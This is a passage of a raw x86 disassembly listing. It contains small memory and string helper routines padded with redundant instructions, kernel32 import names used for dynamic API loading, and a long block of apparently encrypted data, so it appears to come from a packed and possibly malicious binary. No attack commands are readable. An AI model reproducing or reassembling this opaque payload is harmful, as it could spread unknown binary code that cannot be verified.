75FF5D54h, 0FFC8E808h dd 5D59FFFFh, 0CCCCCCC3h, 0CCCCCCCCh, 5D5D5455h, 5D5455C3h dd 8458A51h, 0C6FC4588h, 0C900FD45h db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h push 0Ah lea eax, [ebp-20h] push eax push dword ptr [ebp+8] call sub_3E60F7 add esp, 0Ch leave retn ; --------------------------------------------------------------------------- db 55h dd 0EC835D54h, 8D0A6A20h, 0FF50E045h, 0C9E80875h, 83000001h dd 0C3C90CC4h, 0CCCCCCCCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push dword ptr [ebp+8] pop eax mov [ebp-4], eax loc_3E5E5B: ; CODE XREF: .data:003E5E95j cmp dword ptr [ebp+10h], 0 jz short loc_3E5E97 mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov cl, [ecx] mov [eax], cl push dword ptr [ebp+8] pop eax movsx eax, byte ptr [eax] push eax push dword ptr [ebp+8] pop eax mov ecx, eax pop eax inc ecx mov [ebp+8], ecx push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax inc ecx mov [ebp+0Ch], ecx test eax, eax jz short loc_3E5E97 mov eax, [ebp+10h] dec eax mov [ebp+10h], eax jmp short loc_3E5E5B ; --------------------------------------------------------------------------- loc_3E5E97: ; CODE XREF: .data:003E5E5Fj ; .data:003E5E8Cj cmp dword ptr [ebp+10h], 0 jz short loc_3E5EB5 loc_3E5E9D: ; CODE XREF: .data:003E5EB3j mov eax, [ebp+10h] dec eax mov [ebp+10h], eax jz short loc_3E5EB5 mov eax, [ebp+8] mov byte ptr [eax], 0 mov eax, [ebp+8] inc eax mov [ebp+8], eax jmp short loc_3E5E9D ; --------------------------------------------------------------------------- loc_3E5EB5: ; CODE XREF: .data:003E5E9Bj ; .data:003E5EA4j mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5EBA proc near ; CODE XREF: sub_3E50BE+Dp ; sub_3E5720+C1p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_0] pop eax mov [ebp+var_4], eax loc_3E5EC5: ; CODE XREF: sub_3E5EBA+39j mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] dec ecx mov [ebp+arg_8], ecx test eax, eax jz short loc_3E5EF5 push [ebp+arg_0] pop eax push eax push [ebp+arg_4] pop eax mov ecx, eax pop eax mov cl, [ecx] mov [eax], cl push [ebp+arg_0] pop eax inc eax mov [ebp+arg_0], eax push [ebp+arg_4] pop eax inc eax mov [ebp+arg_4], eax jmp short loc_3E5EC5 ; --------------------------------------------------------------------------- loc_3E5EF5: ; CODE XREF: sub_3E5EBA+17j mov eax, [ebp+var_4] leave retn sub_3E5EBA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] mov [ebp-4], eax loc_3E5F04: ; CODE XREF: .data:003E5F23j mov eax, [ebp+10h] push dword ptr [ebp+10h] pop ecx dec ecx mov [ebp+10h], ecx test eax, eax jz short loc_3E5F25 push dword ptr [ebp+8] pop eax mov cl, [ebp+0Ch] mov [eax], cl mov eax, [ebp+8] inc eax mov [ebp+8], eax jmp short loc_3E5F04 ; --------------------------------------------------------------------------- loc_3E5F25: ; CODE XREF: .data:003E5F11j mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= sub_3E5F2A proc near ; CODE XREF: sub_3E5151+2Ep ; sub_3E5151+51p push ebp push esp pop ebp push ecx and dword ptr [ebp-4], 0 loc_3E5F32: ; CODE XREF: sub_3E5F2A+34j push dword ptr [ebp+8] pop eax movzx eax, byte ptr [eax] mov ecx, [ebp+0Ch] movzx ecx, byte ptr [ecx] sub eax, ecx mov [ebp-4], eax jnz short loc_3E5F60 mov eax, [ebp+0Ch] movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5F60 mov eax, [ebp+8] inc eax mov [ebp+8], eax mov eax, [ebp+0Ch] inc eax mov [ebp+0Ch], eax jmp short loc_3E5F32 ; --------------------------------------------------------------------------- loc_3E5F60: ; CODE XREF: sub_3E5F2A+1Aj ; sub_3E5F2A+24j cmp dword ptr [ebp-4], 0 jge short loc_3E5F6C or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_3E5F7D ; --------------------------------------------------------------------------- loc_3E5F6C: ; CODE XREF: sub_3E5F2A+3Aj cmp dword ptr [ebp-4], 0 jle short loc_3E5F7D mov dword ptr [ebp-4], 0 add dword ptr [ebp-4], 1 loc_3E5F7D: ; CODE XREF: sub_3E5F2A+40j ; sub_3E5F2A+46j push dword ptr [ebp-4] pop eax leave retn sub_3E5F2A endp ; --------------------------------------------------------------------------- db 55h dd 8B515D54h, 45890845h, 0FC75FFFCh, 0BE0F58h, 59FC75FFh dd 0FC4D8941h, 274C085h, 75FFEBEBh, 452B58FCh, 0C3C94808h ; =============== S U B R O U T I N E ======================================= sub_3E5FAC proc near ; CODE XREF: sub_3E5151+1Bp push ebp push esp pop ebp sub esp, 10h loc_3E5FB2: ; CODE XREF: sub_3E5FAC+4Dj mov eax, [ebp+8] movzx eax, byte ptr [eax] mov [ebp-0Ch], eax push dword ptr [ebp-0Ch] call sub_3E5D10 pop ecx mov [ebp-4], eax mov eax, [ebp+8] inc eax mov [ebp+8], eax push dword ptr [ebp+0Ch] pop eax movzx eax, byte ptr [eax] mov [ebp-10h], eax push dword ptr [ebp-10h] call sub_3E5D10 pop ecx mov [ebp-8], eax push dword ptr [ebp+0Ch] pop eax inc eax mov [ebp+0Ch], eax cmp dword ptr [ebp-4], 0 jz short loc_3E5FFB push dword ptr [ebp-4] pop eax cmp eax, [ebp-8] jz short loc_3E5FB2 loc_3E5FFB: ; CODE XREF: sub_3E5FAC+44j push dword ptr [ebp-4] pop eax sub eax, [ebp-8] leave retn sub_3E5FAC endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_3E602C add esp, 10h push dword ptr [ebp+0Ch] pop eax pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E602C proc near ; CODE XREF: .data:003E601Ep ; sub_3E60F7+1Ap ... var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_3E6059 push [ebp+var_4] pop eax mov byte ptr [eax], 27h add byte ptr [eax], 6 push [ebp+var_4] pop eax inc eax mov [ebp+var_4], eax push [ebp+arg_0] pop eax neg eax mov [ebp+arg_0], eax loc_3E6059: ; CODE XREF: sub_3E602C+10j push [ebp+var_4] pop eax mov [ebp+var_10], eax loc_3E6060: ; CODE XREF: sub_3E602C+82j push [ebp+arg_0] pop eax xor edx, edx div [ebp+arg_8] mov [ebp+var_8], edx push [ebp+arg_0] pop eax xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_8], 9 jbe short loc_3E6097 mov eax, [ebp+var_8] add eax, 57h push eax push [ebp+var_4] pop eax mov ecx, eax pop eax mov [ecx], al mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_3E60AA ; --------------------------------------------------------------------------- loc_3E6097: ; CODE XREF: sub_3E602C+50j push [ebp+var_8] pop eax add eax, 30h mov ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_3E60AA: ; CODE XREF: sub_3E602C+69j cmp [ebp+arg_0], 0 ja short loc_3E6060 push [ebp+var_4] pop eax mov byte ptr [eax], 0 mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax loc_3E60BE: ; CODE XREF: sub_3E602C+C7j push [ebp+var_4] pop eax mov al, [eax] mov [ebp+var_9], al push [ebp+var_4] pop eax push [ebp+var_10] pop ecx mov cl, [ecx] mov [eax], cl push [ebp+var_10] pop eax mov cl, [ebp+var_9] mov [eax], cl push [ebp+var_4] pop eax dec eax mov [ebp+var_4], eax push [ebp+var_10] pop eax inc eax mov [ebp+var_10], eax push [ebp+var_10] pop eax cmp eax, [ebp+var_4] jb short loc_3E60BE leave retn sub_3E602C endp ; =============== S U B R O U T I N E ======================================= sub_3E60F7 proc near ; CODE XREF: .data:003E5E29p push ebp push esp pop ebp cmp dword ptr [ebp+10h], 0Ah jnz short loc_3E611B cmp dword ptr [ebp+8], 0 jge short loc_3E611B push 1 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_3E602C add esp, 10h jmp short loc_3E612E ; --------------------------------------------------------------------------- loc_3E611B: ; CODE XREF: sub_3E60F7+7j ; sub_3E60F7+Dj push 0 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_3E602C add esp, 10h loc_3E612E: ; CODE XREF: sub_3E60F7+22j mov eax, [ebp+0Ch] pop ebp retn sub_3E60F7 endp ; --------------------------------------------------------------------------- align 4 dd 5Bh dup(0) dd 30D0h, 30E2h, 30F2h, 3106h, 3116h, 3126h, 3132h, 3144h dd 3152h, 3 dup(0) aKernel32_dll_4 db 'kernel32.dll',0 align 10h aGetmodulefil_1 db 'GetModuleFileNameA',0 align 4 aGetmodulefil_2 db 'GetModuleFileNameW',0 align 10h aKernel32_dll_5 db 'kernel32.dll',0 align 10h aI0_0 db '¨0',0 align 4 dd 2 dup(0) dd 315Eh, 3000h, 5 dup(0) dd 30D0h, 30E2h, 30F2h, 3106h, 3116h, 3126h, 3132h, 3144h dd 3152h, 0 dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h dd 64616F4Ch, 7262694Ch, 41797261h, 17F0000h, 4D746547h dd 6C75646Fh, 6E614865h, 41656C64h, 1C80000h, 53746547h dd 65747379h, 6D69546Dh, 1DF0065h, 54746547h, 436B6369h dd 746E756Fh, 2100000h, 70616548h, 6F6C6C41h, 1A30063h dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h dd 6F6C6C41h, 2160063h, 70616548h, 65657246h, 454B0000h dd 4C454E52h, 642E3233h, 6C6Ch, 25h dup(0) dd 19E8EC45h, 0F5E839F8h, 0E142CAEh, 95D9C1DCh, 0A61796E1h dd 2DA4BE1Dh, 0C4970908h, 113E410Fh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0FE2FF0D2h dd 11BEB6C3h, 5BF74E57h, 2ECF1CE2h, 0FA3F4293h, 0E670974h dd 0ACB2A9A7h, 242B9C85h, 835C3D79h, 0E4B72E13h, 850520A0h dd 87FD41Bh, 552F2683h, 90D3A811h, 17E60025h, 7B434EECh dd 290939F1h, 2C2EE254h, 66E5FBFDh, 1D705DFAh, 4EAF3824h dd 16474E13h, 646F8472h, 13830684h, 84E4F3C5h, 8CE2E682h dd 0F373D37h, 2F79FD1Ah, 0B15A883Eh, 944639Eh, 0EA1EFFBAh dd 0E013EC5Ch, 916D4296h, 100FFF0Ch, 0DAD29296h, 9D7271EEh dd 0B1B808A1h, 0D25BB546h, 5EC1D704h, 4BA6CF03h, 0C1586BDEh dd 0D9AA447Bh, 0D7057198h, 450772F1h, 0F1936Eh, 0FE0F683Fh dd 4CD9F013h, 5A80E40h, 8025E291h, 759D1F1Dh, 322730A2h dd 0C7ED2FC0h, 0F8AF7591h, 59C1768h, 0F8AF7591h, 59C1768h dd 2828DF75h, 9FADBF9Bh, 5B4A327Eh, 0BA307617h, 0B8BA1055h dd 0BCDBABA0h, 0B8BA1055h, 0BCDBABA0h, 0CD7DBA1Ch, 8D8A7D69h dd 0DAD29296h, 9D7271EEh, 345679BAh, 0E6F4023Dh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0C08E8E97h dd 0AA99235Ch, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0E1B2375Bh, 35E1F4A2h, 0C07238F3h dd 0CF13E576h, 37E6A19Ah, 0BDA4F165h, 0DAD29296h, 9D7271EEh dd 11B7D888h, 0B95943E0h, 0BF797EC1h, 3EEE3649h, 0A16C8997h dd 0A538B121h, 0B393FFA5h, 0EC46445Fh, 0DAD29296h, 9D7271EEh dd 0EB44854Fh, 6E303F4Bh, 2D59AB02h, 64E06AC7h, 249E63CBh dd 0CAD5D139h, 18A76DDBh, 35FBF5D4h, 0DAD29296h, 9D7271EEh dd 0FD1C9112h, 7CA2041h, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 8AED8AA0h, 7A41C62Fh, 0E82E5ADDh, 0DDA302F9h dd 3BF34B59h, 558BC9D0h, 0AF02EBE8h, 6557D382h, 0D1F0F1CEh dd 0E631E5BEh, 48CB8ABCh, 0D3429667h, 2B676190h, 0A87D4507h dd 833FF5E5h, 0B0237E39h, 0C8816AF1h, 0BEA46959h, 304E14D2h dd 78EDBB75h, 4015B85Fh, 0AF1D43B0h, 6E90CB42h, 3E65688Eh dd 0AB0AE369h, 978E3BD9h, 448240BCh, 0D1AED775h, 4300527Bh dd 0E52D89D5h, 0E60C39C4h, 7466E106h, 1A2C64Ah, 28AFBB23h dd 0DEC0B0DEh, 48655298h, 1DC675C3h, 7674C4C5h, 0A4818068h dd 51051F16h, 0B4B828D7h, 0F6FF8388h, 7302A401h, 12EB5A97h dd 6D13B0E3h, 0BDF482Dh, 370AFC9Ch, 0A9FC6981h, 0B22CC854h dd 0E81B88ACh, 920223B2h, 0D79934C9h, 6EDB1F4Ah, 99DCEE65h dd 766CCCBEh, 0D01187CCh, 3A36C2CFh, 0C6855734h, 7E6BC378h dd 9926483h, 0FE381DCEh, 0E9915D89h, 241E62AFh, 0AE695EA4h dd 0D4C89E68h, 1D6A313Bh, 6EB8C3D3h, 4D5CCEA7h, 1FB5525Bh dd 77577670h, 8F800177h, 0C7E49587h, 0BAF1CAFAh, 0E4B9000Dh dd 0E1B95FB5h, 0B73394CFh, 8770CE08h, 4378A31Fh, 24000A78h dd 29C4A3D8h, 0DEB215CEh, 14E7CC53h, 4297CD38h, 0D2AF8200h dd 68C28D77h, 6816D00Eh, 0D05B0AB7h, 11C4C744h, 19508991h dd 722503D6h, 0DAB8EB12h, 0A3E2C889h, 0F8F51C51h, 918901D8h dd 9F37DA9Bh, 39F948D3h, 219D688Ah, 87704FDAh, 818CE830h dd 54ADF668h, 55281C7Ah, 3C66AF04h, 6C9394D3h, 58955D29h dd 48706B04h, 0DAA4E283h, 3C7E1FECh, 0C977DDB6h, 7E36D21h dd 0DDE4590Bh, 89FF7D0h, 57A1959Fh, 92E2F9F2h, 57D72EB6h dd 84C73C9Fh, 5A720278h, 6C27A21Dh, 5734E274h, 8DA5CC7Ch dd 0CAC96F7Bh, 519C0812h, 0EE15F23h, 5BE5E476h, 6E0F64E0h dd 453F9EB3h, 594EF213h, 0CF5BA170h, 0CF2CA859h, 0F4129829h dd 6BD3F015h, 0E71FAA41h, 778C43CAh, 765A9997h, 881408F3h dd 40A71C22h, 26DCFD6Ah, 32BAC76Fh, 0C8E8A9C8h, 7D35B0CFh dd 51D8010Eh, 79752E4Fh, 3ECEB494h, 0CD5A6DBBh, 0CC4FA324h dd 0D7228046h, 0E51B6C98h, 8DE9BE6Ah, 0FAAF8DA3h, 0EFB1D0ABh dd 0E0184264h, 915E6D7Fh, 0BA9765AEh, 7D3BB654h, 0C09665Ch dd 0F3897D13h, 0CFDB0EFCh, 3B3A604h, 8143C9C6h, 0F72A28E9h dd 0CBC62EA0h, 0A5F2D908h, 0B5BC322Dh, 5F4BD9FCh, 35E23951h dd 85A109h, 0D94EC4F5h, 0EFB1D0ABh, 0E0184264h, 221CBC8Eh dd 3C7B382Dh, 92402329h, 83048B1Dh, 152D787h, 3E3B0C95h dd 0D6E953D9h, 0E54B23D0h, 3A36C2CFh, 0C6855734h, 640CAFE5h dd 0AE8010D9h, 6C96D33Eh, 0F1E82889h, 0E0E4D46Ah, 8262C983h dd 360F9F70h, 0D73B5444h, 9D4564E6h, 263EDF16h, 0F58F38E2h dd 0D00F1E54h, 6C30097Fh, 0D4746228h, 732837EEh, 0B1F2ABBAh dd 68B4B6B6h, 4162853Dh, 23850F3Fh, 648381AFh, 43C08389h dd 6414549h, 5D1BA5ACh, 3997362Ch, 891FE46h, 9798D7D8h dd 72D4E3Dh, 1C4E1240h, 0ACE9DF4Ch, 5DC19FBEh, 31EB51F1h dd 939BCDB0h, 0D1C5407Bh, 8F9F3074h, 7F47F20Eh, 2F74F1FBh dd 7CF78CE2h, 16A972F2h, 0C7D7DB93h, 0B7ECE5F6h, 976EC4EBh dd 9F31DB17h, 7DDD588Dh, 0A1905E2Dh, 0B2369409h, 0AFC3D5B7h dd 61C822D7h, 0F7B856E9h, 0FFE61E1Fh, 7BE8BA12h, 0FE89F35Fh dd 4E1491FFh, 9E472BDEh, 0FFDE1017h, 0D7D72DF3h, 9F9EAC9Dh dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 34FA3067h dd 95AA0CB4h, 0A8B27F48h, 14B99D9Dh, 30F9B1ECh, 0F3BC4B5Eh dd 70FD9F64h, 5A19A72Bh, 949742D2h, 0C387B35Eh, 0DE920352h dd 65F16F0Eh, 768DC030h, 0FE991D73h, 709FA0A0h, 0CB71A7BAh dd 4D6AF9h, 605F1842h dd 5C262E22h, 0D773AF5Ch, 1FB776FDh, 34E26346h, 5B4A7648h dd 25638936h, 3F0592CBh, 0C91DC3A3h, 38FF8E3Fh, 626D0DF4h dd 4EE1788Ch, 3DF2934Ah, 0D1FE46F0h, 1F34E882h, 0C512A0EAh dd 6C97E787h, 7314224Fh, 0EA0C826h, 0D44B435Eh, 2B6F531Eh dd 0B47058ECh, 8AD39601h, 0B10B3244h, 61E5CB21h, 25359DC6h dd 0E12CFF66h, 188F37ECh, 0C562D0D3h, 0D39B0325h, 5AE13D32h dd 0FD4D143Fh, 3E61F971h, 0D92B39CCh, 703151CCh, 0BEFA2446h dd 0FD7E38CAh, 341D83EEh, 663F0DB7h, 92B3C909h, 8CE971CEh dd 9E4B0467h, 97D92CD4h, 0E9407C34h, 197DFB27h, 67137260h dd 28FCC23Ah, 8528E3E0h, 1261929Bh, 0A4415EBDh, 0D8626231h dd 782AC3Ah, 3498CCE9h, 90F2CE0Ah, 905DEFEAh, 1CACDD23h dd 0CC168F95h, 4C96A07Bh, 397339FAh, 0FC864AE1h, 0C91A896Ah dd 7B0B49A2h, 10A9E1B8h, 0B2DBBFEDh, 0E27DD0C2h, 437450ACh dd 0D81EAC68h, 8C4600ACh, 0A3CB410Ch, 0D8555952h, 696C25C1h dd 0E787E895h, 3B5EC725h, 7F4955EAh, 74A24E33h, 0CC38EC96h dd 96D32E0Ah, 0B1A673B4h, 2EEC1793h, 0B41140E0h, 5CDA2D1Ah dd 4C6E2C63h, 0A18B39DFh, 30AB515Eh, 77C301Ch, 2EB3247Ah dd 887F54F5h, 62A5A614h, 0D33DB32Fh, 0A3803408h, 0B0386F5Ah dd 2CEBC31Ch, 40AE6291h, 64AC4E3Fh, 0CC6CFD89h, 3030E348h dd 4C146D12h, 428F5715h, 412AC741h, 738F1070h, 63CD1947h dd 342820DCh, 0E0DC99ABh, 33B7567h, 0AC7B6308h, 52282220h dd 0ED141E27h, 5683F984h, 93E3651Ch, 7226F97Fh, 6CD75235h dd 764BBF8Ch, 40E41E9h, 0DADFC16Eh, 0C04A021Ch, 60583659h dd 6925E5FFh, 1CCA9DECh, 87A9DC1Ch, 82F9B081h, 4A18297Fh dd 2FBB56FDh, 0FA4C4F30h, 0C1B550h, 2E10A3E2h, 97963F20h dd 2156F406h, 2DF1CB5h, 489CBD92h, 70DD3B99h, 30965399h dd 1E377E97h, 0F178A6B6h, 1B8785E6h, 4C73D2D8h, 0D54C5C28h dd 18A9796Dh, 5C1E688Eh, 34FC8C8Eh, 0C3E5900Fh, 0B29E9C2Dh dd 40897E5Ah, 3C61F744h, 0D26A21DDh, 84C58D2Dh, 0E5364C80h dd 0FB59048h, 0EDF62E49h, 68499988h, 629D02Eh, 31E5CDE7h dd 0EA4F2B83h, 909910F5h, 51FDB10Bh, 0ED033BC0h, 7535D330h dd 3B05A13Bh, 0B2722BECh, 0E1402310h, 0A193BF35h, 2C5636B6h dd 39BD55DAh, 88256E66h, 5846C88Fh, 0DF78C405h, 0F9E34149h dd 56361388h, 0A86771C7h, 1F50580Ah, 9FBC6F75h, 0D749AB94h dd 3A527095h, 5424A8EFh, 309F315Eh, 67683829h, 6574D8F7h dd 20B0C604h, 1257D658h, 0A7565570h, 2EB2DDB3h, 0B5671696h dd 8E6F3E8Fh, 95168C32h, 0CC7B36FEh, 539D8726h, 4AB9F4C2h dd 86FC07Bh, 375B44F4h, 0AAC79FFEh, 4A7B789Ch, 0EF676183h dd 62AE6A3Fh, 6EC9481Eh, 7C894DC2h, 0C8B60E1Ah, 0DFF4361Dh dd 42641798h, 83FAD739h, 0FD6CFB4Bh, 0FBDE7289h, 4E6F287h dd 164A46CAh, 193AB4A7h, 4B083544h, 0AE9A3FBCh, 0C3D64116h dd 9C4464Ah, 42685B3Ah, 809AFE0Ah, 0CD94A142h, 0C8FDAC57h dd 4F3368EAh, 0E0DCF7Ah, 1516FE6Ch, 0D7BB582Bh, 329661F3h dd 61378979h, 684135A3h, 292C5948h, 0F1FEE76Fh, 0ED62FF22h dd 740DDA8Dh, 0C0D482C1h, 0B31A696Eh, 5CE7CC79h, 6DC43EB5h dd 9F963FBFh, 5D48A309h, 44DCC3BBh, 0B7F2B9E4h, 6055B991h dd 7F3B2Fh, 0FE87DC9Ah, 8A112AA2h, 2A3723D9h, 27F594BBh dd 5BB82555h, 0CB459590h, 0DC2C8491h, 2033937Dh, 7192DC06h dd 0BDB4D93Bh, 350D8A53h, 0FF36B0Bh, 2EE320D6h, 9CE88093h dd 528B14C9h, 6D4001BFh, 0FA48D348h, 0A0836268h, 163F88A2h dd 0DF6B7C03h, 9B5E87CCh, 4FBFA73Eh, 0E6FE2473h, 0BDC2A8ABh dd 26F75A0Dh, 0E8CA7972h, 38A4538Ah, 63B6F665h, 7E1FA1C1h dd 0DF133A5h, 36BCE97Eh, 0B3C298B9h, 0E7A9D9Fh, 0C4C702C0h dd 0CFFF309Fh, 0A278C531h, 55C032F0h, 8455A00Eh, 2D66014h dd 1A0752B4h, 54C470B9h, 696D2C6Eh, 0D0CEEA53h, 5E4BFB5Ch dd 0BA388AFAh, 967AAEFFh, 95033CCCh, 0C4A95857h, 4B5056E5h dd 6DA534CBh, 0F60DA063h, 880A3A0h, 727A4769h, 272F7FE3h dd 1AA416E9h, 0BDCA7798h, 2E10AE72h, 46448629h, 0FED7E8A8h dd 4963DDBBh, 1764163Bh, 0CD900A2h, 0D4C88444h, 0CBB766B5h dd 0FBE11CEh, 5FF82E63h, 8C7041h, 36B1E771h, 0D113BF26h dd 8A913FE9h, 0B9534F70h, 0E914B319h, 399AF212h, 0B8DEC8A5h dd 5F06D7F2h, 60630B5Fh, 0DA561959h, 67C5A0AFh, 890B4948h dd 3AA68A99h, 15BB50F2h, 711D41A1h, 40CA6A70h, 0EBD3AB41h dd 1133E59Bh, 62A25F42h, 33A7C98Eh, 0BB0E99E3h, 0D6005B5h dd 0C7EFE5EDh, 22FF52D0h, 5F1B111Fh, 0E28A1E28h, 6810EB78h dd 0DD21DD1Ch, 0EEDB84FFh, 0FDE586A1h, 37E92119h, 205FD269h dd 99ECDF91h, 816EC51Dh, 85FB0ED2h, 0B4B8B1ADh, 0EBE91717h dd 0D0E0EFC5h, 9EE60BFEh, 96F2889Ch, 67B6F764h, 0CDABD618h dd 346290C1h, 4B47967Dh, 0CC90A96Ah, 2B48B6DAh, 20F5CF90h dd 515E9BC3h, 0A33842CFh, 5CB28B51h, 0A5FBB8A4h, 0EC0CF0ABh dd 5FE67B3Bh, 0EA03287Bh, 0AC1D795h, 854ACA36h, 853EDBD7h dd 1B72A837h, 0EE669FF9h, 256E7922h, 0E502AB89h, 7C1559FEh dd 842FE45h, 55DF60FDh, 0E827619h, 1306D83Ah, 14F1844h dd 8D4777B5h, 0B48277CDh, 429E4F81h, 0FBEF3F64h, 0E469ADA9h dd 75BB7B64h, 0CFC4A0DBh, 6DF1BF64h, 0B7B2179Dh, 0A33F38F3h dd 38CB2F2Ch, 0CACB1F90h, 2F0C94DEh, 3837A2D8h, 25C7FF7Eh dd 306C16CEh, 8683FD1Fh, 1692C3ADh, 1E85CDE4h, 0A187AD96h dd 0DEB1A42Bh, 0CC1332E1h, 86FBFA3Bh, 1F29DD29h, 9E1EE1C6h dd 396A476h, 0B3EFF2CAh, 540F1E3Ch, 150D2A00h, 0D46C59C3h dd 0C571B5D2h, 20CBA90Ah, 5EDC42A7h, 0E18AEDD2h, 58136693h dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 0B2880711h dd 0EABDAD91h, 5817814Ch, 669935EEh, 0C68DB6Ah, 55277BE1h dd 25FD1A26h, 0AC3FBF1Dh, 24147FBEh, 0BE8AD907h, 0B73A9322h dd 8EFDF936h, 0DE920352h, 65F16F0Eh, 0CCA0DF05h, 0DAA21D96h dd 709FA0A0h, 0CB71A7BAh, 4D6AF9h, 605F1842h, 27FF4202h dd 0EFCEC7B5h, 0A36355F5h, 0B1AD9FF9h, 6412A88Eh, 0F39C5B69h dd 0CE36E8E5h, 7D405389h, 0B603B8AAh, 1C1B44A4h, 0D5ECD81Eh dd 0F956DB6Eh, 471030h, 1E260936h, 8A45BE6Eh, 7F0ABD5h dd 0AAC8A502h, 354C1891h, 95570F44h, 0EEFF0F2Bh, 0C906F9C5h dd 0A31675D2h, 73D8FB39h, 0B004D10Eh, 172ED8FBh, 3912879h dd 0DAD7AB27h, 0ABA7E94Ch, 200926FAh, 0DC9506EFh, 0F205CF3Fh dd 486DA344h, 0D6333EF9h, 1066B239h, 8A4AEDCFh, 0DC17B2Fh dd 0FD4DCA23h, 60DFA200h, 0BB4ED2C6h, 8DBDEC31h, 52181F95h dd 0CEBF19DCh, 0DB66E9B0h, 0A3E6C63Fh, 0C31A7FB2h, 87006877h dd 5533FC3Eh, 0CEEACF56h, 4564FC1Eh, 0F8FA1A0Dh, 0C5A54918h dd 8481DCD0h, 0CE1677B6h, 4050A60Ah, 18CB566Ch, 4580AFF7h dd 48BEF57Eh, 7F0B48F6h, 38FF84BBh, 0F356C76Ah, 0F3671F67h dd 60C55C15h, 0EFB1D0ABh, 0E0184264h, 0FB31C508h, 804C37F2h dd 0A66AB25h, 102CCD2Ah, 95D4C06Dh, 0B86E5CBEh, 1C5F3C6Eh dd 0D9DF84B8h, 0E09AF912h, 10B2416Eh, 0F146653Dh, 7729F06Ah dd 0F78832B8h, 0BFE9DC5Ch, 0FE0F929Ch, 393D3282h, 6B60845Ch dd 8530C5C9h, 76938BFCh, 500DBBFCh, 42CF83C8h, 6E4FE226h dd 4C5527FCh, 0FEE50ACDh dd 0B9BC44FDh, 18E52530h, 